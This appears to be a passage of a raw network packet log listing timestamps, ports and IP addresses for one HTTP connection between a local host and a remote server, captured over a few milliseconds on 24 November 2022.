Nov 24, 2022 16:57:36.806188107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806195021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806207895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806222916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806226969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806241989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806246996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806266069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806279898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806279898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806283951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806303024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806322098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806324005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806324005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806324005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806340933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806351900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806363106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806371927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806382895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806389093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806402922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806406021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806421995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806440115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806452036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806452036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806458950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806473017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806478024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806490898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806497097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806509018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806516886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806535959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806552887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806561947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806561947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806572914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806587934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806587934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806592941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806611061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806617022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806628942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806642056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806649923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806654930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806673050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806685925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806705952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806714058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806714058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806714058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806725979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806740046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806744099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806762934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806772947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806782007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806792974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806801081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806819916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806822062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806838989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806857109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806865931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806865931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806885958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806906939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806915045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806915045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806938887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806951046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806968927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806987047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806993961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806993961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807005882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807023048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807024956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807024956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807040930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807044029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807060003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807073116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807087898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807094097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807110071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807117939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807127953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807147980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807163954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807173014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807183027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807193041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807202101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807210922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807221889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807226896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807240963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807241917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807266951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807267904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807284117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807308912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807327986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807351112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807368994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807377100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807389021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807399988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807408094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807423115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807440996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807466030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807468891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807468891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807483912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807509899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807523966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807523966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807524920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807528019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807524920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807547092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807557106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807566881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807574034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807586908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807594061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807605982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807610989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807625055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807627916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807643890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807655096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807667017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807674885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807693005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807703972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807709932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807728052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807729959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807729959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807744980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807749033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807764053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807771921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807781935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807790041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807801962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807809114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807820082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807826042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807837963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807842970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807856083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807861090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807873011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807878971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807889938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807893991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807908058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807909966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807925940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807926893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807944059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807949066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807960987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807972908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807979107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807996035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.807996988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.807996988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808012962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808015108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808031082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808031082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808064938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808079004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808099031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808115005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808132887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808141947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808142900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808150053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808166981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808188915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808190107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808190107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808217049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808232069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808250904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808264017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808279991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808295965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808312893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808330059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808347940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808365107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808345079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808345079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808345079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808345079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808382988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808399916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808418989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808434963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808454037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808465958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808465004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808465004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808465958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808465958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808465958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808465958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808484077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808504105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808505058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808504105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808525085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808528900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808542967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808561087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808567047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808578014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808597088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808598995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808598995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808614016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808631897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808634043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808634043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808650017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808665991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808666945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808665991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808685064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808701038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808703899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808723927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808725119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808741093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808759928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808763981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808763981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808778048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808796883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808804035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808804035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808814049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808830976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808832884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808851004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808866978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808867931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808883905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808901072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808918953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808919907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808937073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.808938026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808955908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808973074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.808990002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809006929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809019089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809031010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809041023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809046984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809041023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809041023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809041023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809061050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809077978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809097052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809113026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809113026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809138060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809138060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809195995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809216022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809233904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809252977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809258938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809271097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809290886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809290886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809290886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809310913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809314966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809330940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809349060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809349060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809370041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809370995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809370041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809391022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809410095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809429884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809434891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809448004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809493065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809498072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809516907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809520006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809520006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809531927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809550047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809566021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809582949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809598923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809616089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809628010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809628010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809628963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809628963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809628963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809633017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809647083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809664965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809665918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809684038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809683084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809683084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809705019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809708118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809722900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809741974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809745073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809745073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809760094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809773922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809773922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809778929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809796095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809799910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809814930 CET	49713	80	192.168.2.3	66.235.200.147
